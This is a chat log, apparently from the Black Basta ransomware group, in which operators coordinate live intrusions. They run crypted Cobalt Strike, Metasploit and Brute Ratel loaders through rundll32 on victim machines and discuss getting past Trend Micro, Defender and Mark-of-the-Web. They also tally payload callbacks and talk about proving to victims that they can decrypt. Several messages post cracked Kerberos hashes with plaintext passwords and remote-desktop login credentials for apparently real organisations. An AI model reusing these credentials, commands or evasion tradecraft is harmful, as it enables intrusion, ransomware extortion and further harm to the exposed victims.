2023-12-12 20:38:22
Black Basta
```
2023-12-12 20:38:37
Black Basta
Снимок экрана 2023-12-12 в 23.38.32.png
2023-12-12 20:38:44
@usernameyy:matrix.bestflowers247.online
не работает, я так и сделал
2023-12-12 20:38:51
@lapa:matrix.bestflowers247.online
DEMSF443_thread.exe
2023-12-12 20:38:54
@lapa:matrix.bestflowers247.online
тоже не хочет
2023-12-12 20:38:56
Black Basta
Снимок экрана 2023-12-12 в 23.38.50.png
2023-12-12 20:39:17
Black Basta
```
2023-12-12 20:39:26
@usernameyy:matrix.bestflowers247.online
вот последняя строка
2023-12-12 20:39:29
@usernameyy:matrix.bestflowers247.online
щас попробую
2023-12-12 20:40:32
@lapa:matrix.bestflowers247.online
FR_MSF443_64_thread.dll не подписывает
2023-12-12 20:40:42
@lapa:matrix.bestflowers247.online
короче там только один файлик подписался
2023-12-12 20:40:47
@usernamemm:matrix.bestflowers247.online
> <@cameron777:matrix.org> zaxodi
2023-12-12 20:40:49
Black Basta
давай
2023-12-12 20:40:51
Black Basta
какой
2023-12-12 20:40:52
@usernamemm:matrix.bestflowers247.online
можешь посмотреть
2023-12-12 20:40:59
Black Basta
++
2023-12-12 20:41:09
Black Basta
FR_MSF8080_thread_cr1.dll
2023-12-12 20:41:15
Black Basta
rundll32 C:\ProgramData\Kofax\PDF.dll,zMWaXtRnQbLW
2023-12-12 20:41:17
@cameron777:matrix.org
nu tam robotnik zaxodit tebya virubaet sistema
2023-12-12 20:41:18
Black Basta
вот так запустили на машине
2023-12-12 20:41:20
@cameron777:matrix.org
shas podazhdi chutka
2023-12-12 20:41:23
Black Basta
PDF.dll = FR_MSF8080_thread_cr1.dll
2023-12-12 20:41:24
@usernamemm:matrix.bestflowers247.online
++
2023-12-12 20:41:37
Black Basta
убить процесс rundll32?
2023-12-12 20:41:40
@cameron777:matrix.org
tam chto to mozhno zapuskat' ?
2023-12-12 20:41:46
@lapa:matrix.bestflowers247.online
SIGNED_DEMSF8080_thread.exe
2023-12-12 20:41:46
@cameron777:matrix.org
exe ne puskaet
2023-12-12 20:42:04
@usernamemm:matrix.bestflowers247.online
я пробовал подлить длл пока не удалось и закрылась сессия
2023-12-12 20:42:05
@cameron777:matrix.org
kakoe tam AV ?
2023-12-12 20:42:20
Black Basta
++
2023-12-12 20:42:31
@lapa:matrix.bestflowers247.online
и то, не уверен, что он подписался
2023-12-12 20:42:32
@cameron777:matrix.org
otkrivayu zaxodi
2023-12-12 20:42:37
@cameron777:matrix.org
chtob bistro zapustit'
2023-12-12 20:43:06
Black Basta
сам с собой разговариваю
2023-12-12 20:43:06
@cameron777:matrix.org
zaxodi
2023-12-12 20:43:18
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> убить процесс rundll32?
2023-12-12 20:43:28
@usernamess:matrix.bestflowers247.online
сказали же что она не работает нормально
2023-12-12 20:43:30
@usernamett:matrix.bestflowers247.online
> <@usernameww:matrix.bestflowers247.online> FR лучше пока не звать , затестил файлы пришло но там что то с метой в сессию не заходит и ошибки выдает
2023-12-12 20:43:35
@lapa:matrix.bestflowers247.online
короч хз, может не по стандарту дллки сделаны
2023-12-12 20:43:47
@usernamess:matrix.bestflowers247.online
я щас заливаю себе криптованные чтобы чекнуть
2023-12-12 20:43:59
@usernamess:matrix.bestflowers247.online
там может инета нет
2023-12-12 20:44:00
@lapa:matrix.bestflowers247.online
могу офаться?
2023-12-12 20:44:03
@usernamess:matrix.bestflowers247.online
а ты на порт завешь
2023-12-12 20:45:02
@cameron777:matrix.org
esho vopros eti GLUK-i oni mogut deshnut' kak to ?
2023-12-12 20:46:00
@ssd:matrix.bestflowers247.online
в токс дал контакт
2023-12-12 20:49:32
@usernamess:matrix.bestflowers247.online
GG: Францию пофиксил
2023-12-12 20:49:38
@usernamess:matrix.bestflowers247.online
можешь пробовать
2023-12-12 20:51:34
@username777:matrix.bestflowers247.online
$krb5tgs$23$*C421070$agc.jp$MSSQLSvc/CHU580707.agc.jp:01EDA393-5A17-4D@agc.jp*$7db19e3619b77a1cd1d...d9722c0547:Standokan8202
2023-12-12 20:53:26
@usernamess:matrix.bestflowers247.online
$$: ЩАс во франции подняли 86 пайлоады. я протестил криптованные 86 - пришли
2023-12-12 20:53:37
@usernamess:matrix.bestflowers247.online
* GG: : ЩАс во франции подняли 86 пайлоады. я протестил криптованные 86 - пришли
2023-12-12 20:54:23
@usernamemm:matrix.bestflowers247.online
> <@cameron777:matrix.org> kakoe tam AV ?
2023-12-12 20:56:20
Black Basta
++
2023-12-12 20:56:26
Black Basta
я общаюсь
2023-12-12 20:56:49
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> rundll32.exe C:\users\public\027_x86.dll,ReleaseImage
2023-12-12 20:57:00
@cameron777:matrix.org
da ushel
2023-12-12 20:57:03
@usernamess:matrix.bestflowers247.online
но на эту кобу совсем никто не грузил
2023-12-12 20:57:37
Black Basta
rundll32 C:\ProgramData\Kofax\PDF.dll,zMWaXtRnQbLW
2023-12-12 20:57:49
Black Basta
трендмикро
2023-12-12 20:57:51
Black Basta
там
2023-12-12 20:58:15
Black Basta
запустил
2023-12-12 20:58:17
Black Basta
пришел ?
2023-12-12 20:58:23
Black Basta
мету чек плз
2023-12-12 20:58:29
@usernamess:matrix.bestflowers247.online
я там
2023-12-12 20:59:14
@usernamess:matrix.bestflowers247.online
не приходит. даже коннекта нет на нее
2023-12-12 20:59:26
@usernamess:matrix.bestflowers247.online
у ZZ сетка тоже не идет новыми криптами
2023-12-12 20:59:59
Black Basta
ну полная шляпа
2023-12-12 21:00:39
Black Basta
DEMSF8080_thread_cr1.exe
2023-12-12 21:00:44
Black Basta
а сюда ?
2023-12-12 21:01:00
@usernamezz:matrix.bestflowers247.online
сейчас буду пробовать
2023-12-12 21:01:52
@usernamess:matrix.bestflowers247.online
image.png
2023-12-12 21:02:02
@usernamess:matrix.bestflowers247.online
вот спам пошел, кто то пытался запустить файлы
2023-12-12 21:04:49
@usernamess:matrix.bestflowers247.online
у ZZ в мету 443 пришел
2023-12-12 21:04:51
@usernamess:matrix.bestflowers247.online
86 файл
2023-12-12 21:04:56
@usernamess:matrix.bestflowers247.online
сетка с трендмикро
2023-12-12 21:05:06
@usernamess:matrix.bestflowers247.online
GG: !
2023-12-12 21:05:35
@lapa:matrix.bestflowers247.online
офнусь
2023-12-12 21:05:36
Black Basta
++
2023-12-12 21:05:39
@usernamess:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> у ZZ в мету 443 пришел
2023-12-12 21:05:52
@usernamess:matrix.bestflowers247.online
> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*C421070$agc.jp$MSSQLSvc/CHU580707.agc.jp:01EDA393-5A17-4D@agc.jp*$7db19e3619b77a1cd1d...d9722c0547:Standokan8202
2023-12-12 21:06:10
Black Basta
DEMSF443_thread_cr1.exe
2023-12-12 21:06:13
Black Basta
который из ?
2023-12-12 21:06:21
@usernamess:matrix.bestflowers247.online
exe
2023-12-12 21:10:16
@usernamezz:matrix.bestflowers247.online
а из меты никуда не идет
2023-12-12 21:10:21
@ssd:matrix.bestflowers247.online
anydesk+
2023-12-12 21:10:30
@ssd:matrix.bestflowers247.online
пустил
2023-12-12 21:12:46
Black Basta
пришел ?
2023-12-12 21:12:51
Black Basta
DEMSF443_thread_cr1.exe
2023-12-12 21:13:03
@usernamess:matrix.bestflowers247.online
нет
2023-12-12 21:14:04
@usernamezz:matrix.bestflowers247.online
DEMSF443_thread_cr1.exe - у меня вот этот в мету пришел
2023-12-12 21:14:34
Black Basta
дада
2023-12-12 21:14:37
Black Basta
его и запускал
2023-12-12 21:19:54
Black Basta
++
2023-12-12 21:20:19
Black Basta
не понял
2023-12-12 21:20:46
@ssd:matrix.bestflowers247.online
идет
2023-12-12 21:20:48
@ssd:matrix.bestflowers247.online
что
2023-12-12 21:20:51
@cameron777:matrix.org
> <@cameron777:matrix.org> esho vopros eti GLUK-i oni mogut deshnut' kak to ?
2023-12-12 21:21:26
Black Basta
это у них там что то не работет
2023-12-12 21:21:39
Black Basta
они хотят пруфы что у нас есть инстурмент для расшифровки
2023-12-12 21:21:51
Black Basta
все просят тестово расшировать файлы
2023-12-12 21:21:53
@cameron777:matrix.org
ponyal ya v celom ya sproshivayu vi vsegda kakoy to deshifrator progu dayote im ?
2023-12-12 21:22:13
Black Basta
dll пришел ?
2023-12-12 21:22:19
Black Basta
DEMSF443
2023-12-12 21:22:43
@usernamezz:matrix.bestflowers247.online
dll я не пробовал
2023-12-12 21:23:18
@usernamezz:matrix.bestflowers247.online
exe пришел в кобу, но там пздц как все очень и очень долго
2023-12-12 21:23:32
@w:matrixtcFJHPDblmt2rg.network
сек
2023-12-12 21:23:33
@w:matrixtcFJHPDblmt2rg.network
скину стату
2023-12-12 21:23:35
Black Basta
в кобу или мету ?
2023-12-12 21:23:50
@usernamezz:matrix.bestflowers247.online
ls cd c:\users\public ушел в 5 мин
2023-12-12 21:24:02
@usernamezz:matrix.bestflowers247.online
в кобу пришел через пол часа
2023-12-12 21:24:32
@w:matrixtcFJHPDblmt2rg.network
image.png
2023-12-12 21:24:39
@w:matrixtcFJHPDblmt2rg.network
стой
2023-12-12 21:24:49
@w:matrixtcFJHPDblmt2rg.network
а какой ты эиндеск пустил?
2023-12-12 21:25:00
@w:matrixtcFJHPDblmt2rg.network
у нас же нет такого лендоса
2023-12-12 21:25:08
@w:matrixtcFJHPDblmt2rg.network
ну и в архиве его не было
2023-12-12 21:25:20
@w:matrixtcFJHPDblmt2rg.network
adobe, zoom, teamviwer, slack
2023-12-12 21:25:27
@w:matrixtcFJHPDblmt2rg.network
4 лендоса
2023-12-12 21:31:29
@burito:matrix.bestflowers247.online
> <@usernamevv:matrix.bestflowers247.online> image.png
2023-12-12 21:32:21
Black Basta
> <@usernamegg:matrix.bestflowers247.online> DEMSF443
2023-12-12 21:32:46
@usernamess:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> после запуска rundll32 появляется второй процесс, точно такой же. а вот процесс экзе наоборот - исчез
2023-12-12 21:32:55
@usernamess:matrix.bestflowers247.online
а у длл всегда по 2 процесса
2023-12-12 21:34:55
@ssd:matrix.bestflowers247.online
значит на другой
2023-12-12 21:34:56
Black Basta
Microsoft Defender Antivirus has detected malware or other potentially unwanted software.
2023-12-12 21:34:56
@ssd:matrix.bestflowers247.online
софт
2023-12-12 21:34:58
@ssd:matrix.bestflowers247.online
идет
2023-12-12 21:35:01
@ssd:matrix.bestflowers247.online
на завтра их тоже готовь
2023-12-12 21:35:05
Black Basta
* ```
2023-12-12 21:35:10
Black Basta
это днс
2023-12-12 21:35:13
Black Basta
на кобу
2023-12-12 21:36:29
Black Basta
какой другой ?)
2023-12-12 21:37:50
@usernamess:matrix.bestflowers247.online
ее вчера только сделали.
2023-12-12 21:38:03
@usernamess:matrix.bestflowers247.online
это крипт палится а не коба
2023-12-12 21:40:18
Black Basta
ps1 от меты есть ?
2023-12-12 21:40:28
@usernamess:matrix.bestflowers247.online
неа
2023-12-12 21:41:11
@w:matrixtcFJHPDblmt2rg.network
> <@ssd:matrix.bestflowers247.online> на завтра их тоже готовь
2023-12-12 21:41:14
@w:matrixtcFJHPDblmt2rg.network
у меня оффера такого нет
2023-12-12 21:41:55
Black Basta
ps1 от днс
2023-12-12 21:41:59
Black Basta
давай
2023-12-12 21:42:04
@burito:matrix.bestflowers247.online
обе длл на деде норм работают
2023-12-12 21:42:41
@usernamess:matrix.bestflowers247.online
cob28_DNS_x64.ps1
2023-12-12 21:43:44
Black Basta
++
2023-12-12 21:44:01
Black Basta
++
2023-12-12 21:44:05
Black Basta
тесты прошли
2023-12-12 21:44:14
Black Basta
он сам не понимает куда там и что пустили его траферы
2023-12-12 21:44:19
Black Basta
выдумывает на ровном месте
2023-12-12 21:44:37
@w:matrixtcFJHPDblmt2rg.network
завтра с утра новые IP поставлю
2023-12-12 21:44:41
@w:matrixtcFJHPDblmt2rg.network
чистые чтобы были
2023-12-12 21:44:53
@w:matrixtcFJHPDblmt2rg.network
и буду уже свой запускать
2023-12-12 21:44:57
@w:matrixtcFJHPDblmt2rg.network
потому что пора)
2023-12-12 21:45:21
@w:matrixtcFJHPDblmt2rg.network
тесты?
2023-12-12 21:45:27
@w:matrixtcFJHPDblmt2rg.network
> <@usernamegg:matrix.bestflowers247.online> он сам не понимает куда там и что пустили его траферы
2023-12-12 21:45:34
@w:matrixtcFJHPDblmt2rg.network
я ахуел чесмтно говоря)
2023-12-12 21:46:01
@w:matrixtcFJHPDblmt2rg.network
ну ладно, хер с ним, то такое
2023-12-12 21:48:14
@usernamehunter:matrix.bestflowers247.online
> <@usernamess:matrix.bestflowers247.online> sent a file.
2023-12-12 21:48:24
@usernamess:matrix.bestflowers247.online
> <@usernamehunter:matrix.bestflowers247.online> $krb5tgs$23$*GCAdminBES$agc.jp$SCVMM/DKCPHBIOVMM01@agc.jp*$50a96f2585e517499........62bb0153d2a190:Cucurigu123###
2023-12-12 21:51:09
@usernameyy:matrix.bestflowers247.online
```
2023-12-12 21:51:15
@usernameyy:matrix.bestflowers247.online
данные к брутерателу
2023-12-12 21:51:33
@usernameyy:matrix.bestflowers247.online
виндовый почему то с теми же самыми данными не работает
2023-12-12 21:51:57
@usernamess:matrix.bestflowers247.online
домен надо привязать и днс настроить(((
2023-12-12 21:52:13
Black Basta
так
2023-12-12 21:52:17
Black Basta
у нас есть криптованный dll ?
2023-12-12 21:52:20
Black Basta
чистый
2023-12-12 21:52:21
Black Basta
от ляписа
2023-12-12 21:52:28
Black Basta
дай
2023-12-12 21:52:36
Black Basta
я не могу юристов позвать с другого места
2023-12-12 21:52:55
@w:matrixtcFJHPDblmt2rg.network
пойду я уже отдыхать, завтра с утра буду на связи
2023-12-12 21:53:04
@w:matrixtcFJHPDblmt2rg.network
постораюсь как можно раньше, чтобы быстро поставить IP новые
2023-12-12 21:53:07
@w:matrixtcFJHPDblmt2rg.network
и билд тебе выдать
2023-12-12 21:53:24
@w:matrixtcFJHPDblmt2rg.network
да
2023-12-12 21:53:29
@w:matrixtcFJHPDblmt2rg.network
нет
2023-12-12 21:53:30
@w:matrixtcFJHPDblmt2rg.network
щас нет
2023-12-12 21:53:33
@w:matrixtcFJHPDblmt2rg.network
у ляписа грязно щас
2023-12-12 21:53:50
@w:matrixtcFJHPDblmt2rg.network
бурито надо ждать
2023-12-12 21:54:22
@w:matrixtcFJHPDblmt2rg.network
а тебе дропом туда
2023-12-12 21:54:33
@w:matrixtcFJHPDblmt2rg.network
или с линки скачивать будешь?
2023-12-12 21:54:37
Black Basta
дропать
2023-12-12 21:54:46
@w:matrixtcFJHPDblmt2rg.network
если дропом то будет чисто
2023-12-12 21:54:50
@w:matrixtcFJHPDblmt2rg.network
если с линки, то будет грязно
2023-12-12 21:54:54
@w:matrixtcFJHPDblmt2rg.network
ляпис щас MOTW не держит
2023-12-12 21:54:57
@usernameyy:matrix.bestflowers247.online
```
2023-12-12 21:55:15
@usernamezz:matrix.bestflowers247.online
> <@usernamegg:matrix.bestflowers247.online> https://apps.windcomservices.com:80/RDWeb/Pages/en-US/login.aspx wcs\demo:Password1
2023-12-12 21:55:22
Black Basta
мне любой
2023-12-12 21:55:25
Black Basta
главное проверить
2023-12-12 21:55:29
Black Basta
чистый что бы был
2023-12-12 21:55:49
Black Basta
++
2023-12-12 21:56:02
@w:matrixtcFJHPDblmt2rg.network
щас
2023-12-12 21:56:09
@w:matrixtcFJHPDblmt2rg.network
дам тебе GG14TU
2023-12-12 21:56:47
@w:matrixtcFJHPDblmt2rg.network
GG14TU.dll.sa
2023-12-12 21:56:59
Black Basta
[00:55:52] RSA: если есть .ps1 загрузчик образа в память, можем запустить его. если нету - тогда мы кладем файл на диск
2023-12-12 21:57:30
@w:matrixtcFJHPDblmt2rg.network
https://avcheck.net/id/JZUBZjO8Xvvm
2023-12-12 21:57:36
@w:matrixtcFJHPDblmt2rg.network
вот от ляписа
2023-12-12 21:57:45
@w:matrixtcFJHPDblmt2rg.network
rundll32 file.dll, Enter
2023-12-12 21:58:48
Black Basta
в случае, если кладем файл на диск, там будет exec без download, то есть он будет запускаться как родной, а не как загруженный через инет
2023-12-12 21:59:01
@w:matrixtcFJHPDblmt2rg.network
кладите файл на диск
2023-12-12 21:59:02
@w:matrixtcFJHPDblmt2rg.network
и запускайте длку
2023-12-12 22:00:12
Black Basta
[00:51:15] RSA:
2023-12-12 22:00:37
@w:matrixtcFJHPDblmt2rg.network
ага
2023-12-12 22:00:38
@w:matrixtcFJHPDblmt2rg.network
четко
2023-12-12 22:00:41
@w:matrixtcFJHPDblmt2rg.network
тогда все чисто должно быть
2023-12-12 22:00:54
Black Basta
я предложил лучше перегружать нам на iPika
2023-12-12 22:01:03
Black Basta
а оттуда мы уже будем инжектить
2023-12-12 22:01:12
Black Basta
.bin
2023-12-12 22:01:19
Black Basta
и все будет хорошо
2023-12-12 22:01:23
Black Basta
какой ?
2023-12-12 22:02:15
@w:matrixtcFJHPDblmt2rg.network
да, я могу сделать новый билд вообще
2023-12-12 22:02:31
@w:matrixtcFJHPDblmt2rg.network
давай я сделаю новый билд
2023-12-12 22:02:34
@w:matrixtcFJHPDblmt2rg.network
подл это дело
2023-12-12 22:02:35
@usernamess:matrix.bestflowers247.online
> <@usernameyy:matrix.bestflowers247.online> ```
2023-12-12 22:02:36
@w:matrixtcFJHPDblmt2rg.network
и скину тебе
2023-12-12 22:02:37
@w:matrixtcFJHPDblmt2rg.network
криптованый
2023-12-12 22:02:53
@w:matrixtcFJHPDblmt2rg.network
минут 10 и скину билд тебе под это дело чистый
2023-12-12 22:02:54
@usernameyy:matrix.bestflowers247.online
да, в папке с ним же
2023-12-12 22:03:36
@usernameyy:matrix.bestflowers247.online
Brute-Ratel-Docs.pdf
2023-12-12 22:03:45
@w:matrixtcFJHPDblmt2rg.network
делаю билд
2023-12-12 22:03:46
@w:matrixtcFJHPDblmt2rg.network
запустил
2023-12-12 22:03:59
@w:matrixtcFJHPDblmt2rg.network
чтобы IP свежачки были
2023-12-12 22:07:39
Black Basta
все ок
2023-12-12 22:07:43
Black Basta
думал вас нету
2023-12-12 22:07:47
Black Basta
оставил твое сообщение
2023-12-12 22:08:00
Black Basta
[01:07:47] dewalt - targets SSD: лови
2023-12-12 22:08:02
@usernamess:matrix.bestflowers247.online
a5095a18a557f7d6c931fecbeda8bcc7
2023-12-12 22:08:08
Black Basta
у одного получилось
2023-12-12 22:08:50
Black Basta
[01:06:55] RSA: длл запустил
2023-12-12 22:08:54
Black Basta
у второго тоже
2023-12-12 22:08:56
@w:matrixtcFJHPDblmt2rg.network
заилваю на ляписа
2023-12-12 22:08:58
@w:matrixtcFJHPDblmt2rg.network
скину скоро
2023-12-12 22:09:02
@username777:matrix.bestflowers247.online
1a75a90d066227b79c7cd9a450f64ec6:Blanco/2010
2023-12-12 22:09:02
Black Basta
> <@w:matrixtcFJHPDblmt2rg.network> sent a file.
2023-12-12 22:09:26
@w:matrixtcFJHPDblmt2rg.network
ага, ну старый билд?
2023-12-12 22:09:37
@w:matrixtcFJHPDblmt2rg.network
GG14TU?
2023-12-12 22:09:37
Black Basta
JSTA-365 имя тачки
2023-12-12 22:09:42
Black Basta
в тасках как процесс называться должен?
2023-12-12 22:09:46
@usernamess:matrix.bestflowers247.online
> <@username777:matrix.bestflowers247.online> 1a75a90d066227b79c7cd9a450f64ec6:Blanco/2010
2023-12-12 22:09:54
Black Basta
[01:06:55] RSA: длл запустил
2023-12-12 22:10:00
@w:matrixtcFJHPDblmt2rg.network
fuf? jrtq
2023-12-12 22:10:03
@w:matrixtcFJHPDblmt2rg.network
ага, окей
2023-12-12 22:10:04
@w:matrixtcFJHPDblmt2rg.network
ждем тогда
2023-12-12 22:10:06
@w:matrixtcFJHPDblmt2rg.network
щас придет
2023-12-12 22:11:02
@w:matrixtcFJHPDblmt2rg.network
> <@usernamegg:matrix.bestflowers247.online> в тасках как процесс называться должен?
2023-12-12 22:11:09
@w:matrixtcFJHPDblmt2rg.network
такой
2023-12-12 22:11:17
@w:matrixtcFJHPDblmt2rg.network
x86 должен быть
2023-12-12 22:11:24
@w:matrixtcFJHPDblmt2rg.network
из под Syswow64 запущеный
2023-12-12 22:14:42
Black Basta
COB_9DNS US
2023-12-12 22:14:44
Black Basta
отличная ?
2023-12-12 22:15:16
@w:matrixtcFJHPDblmt2rg.network
PEREGRUZ.dll.sa
2023-12-12 22:15:19
@w:matrixtcFJHPDblmt2rg.network
вот эту лучше запустите
2023-12-12 22:15:24
@w:matrixtcFJHPDblmt2rg.network
она быстрее отстучит, на ней инфра свежая
2023-12-12 22:15:28
@usernameww:matrix.bestflowers247.online
у нас нет такой кобы
2023-12-12 22:15:50
Black Basta
rundll32 file.dll, Enter
2023-12-12 22:15:52
Black Basta
?
2023-12-12 22:16:03
@w:matrixtcFJHPDblmt2rg.network
> <@usernamegg:matrix.bestflowers247.online> !
2023-12-12 22:16:11
Black Basta
[01:14:45] RSA: Handles WS(K) CPU(s) Id UserName ProcessName
2023-12-12 22:16:17
Black Basta
* ```
2023-12-12 22:16:19
@w:matrixtcFJHPDblmt2rg.network
сингапурский IP остался
2023-12-12 22:16:23
Black Basta
* ```
2023-12-12 22:17:05
@w:matrixtcFJHPDblmt2rg.network
да
2023-12-12 22:21:06
@w:matrixtcFJHPDblmt2rg.network
запустили peregruz?
2023-12-12 22:23:12
Black Basta
2023-12-12 22:23:29
Black Basta
[01:18:43] dewalt - targets SSD: а все, похоже, на сегодня, рабочий день закончился
2023-12-12 22:23:35
Black Basta
в другого бот офф ушел
2023-12-12 22:23:58
Black Basta
процесс появился из syswow64
2023-12-12 22:24:55
@w:matrixtcFJHPDblmt2rg.network
fuf jrtq
2023-12-12 22:24:57
@w:matrixtcFJHPDblmt2rg.network
ага, окей